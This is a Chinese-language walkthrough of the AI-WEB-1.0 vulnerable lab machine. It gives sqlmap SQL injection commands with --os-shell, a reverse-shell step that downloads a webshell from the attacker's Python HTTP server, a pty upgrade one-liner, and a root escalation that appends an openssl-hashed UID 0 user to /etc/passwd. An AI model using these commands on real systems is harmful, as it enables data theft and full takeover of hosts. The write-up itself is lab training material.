AI-WEB-1.0靶机

AI-WEB-1.0靶机

情报收集

扫描靶机,打开网站提示
Not even Google search my contents!
dirb http://192.168.218.139
扫描网站 进入爬虫协议
User-agent: *
Disallow: 
Disallow: /m3diNf0/
Disallow: /se3reTdir777/uploads/
进入两个网站都报错,dirb再次扫描两个网站
打开网站
收集到网站根目录
/home/www/html/web1x443290o2sdf92213
打开另一个
尝试SQL注入,可以

漏洞利用

使用sqlmap进行注入,先bp抓包找到注入点
uid=1&Operation=Submit
python sqlmap.py -u "http://192.168.218.139/se3reTdir777/" --batch --data "uid=1&Operation=Submit" --dbs
--data 用于指定post请求的数据
--batch 默认选项
--dbs 列出所有数据库名
--dump:用于从数据库表中提取数据
--columns:用于列出选定数据库表中的所有列
--tables:用于列出选定数据库中的所有表
--level=3 进行全面测试,包括数据库指纹识别、枚举和数据提取等
--os-shell 尝试获取操作系统 shell
python sqlmap.py -u "http://192.168.218.139/se3reTdir777/" --batch --data "uid=1&Operation=Submit" -D aiweb1 --tables
python sqlmap.py -u "http://192.168.218.139/se3reTdir777/" --batch --data "uid=1&Operation=Submit" -D aiweb1 -T user --columns
没找到有用信息
python sqlmap.py -u "http://192.168.218.139/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell
4
2
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
成功反弹shell

提权

在kali机新建webshell.php文件
IP是kali攻击机的,端口是监听端口
python -m http.server 2222
python搭建简单服务器
靶机下载文件
开启监听
运行文件即可成功反弹
有时候一次不行,多试几次
使用python转换成交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
使用工具openssl功能,对密码加密,写入/etc/pass需要加密形式
openssl passwd -1 -salt web1 123456
-1:表示采用的是MD5加密算法
-salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串
写入密码
echo 'web1:$1$web1$ZrYgDZgZpLlsnVlxUaZwh/:0:0::/root:/bin/bash'>>/etc/passwd
切换用户
su web1
id显示root
攻破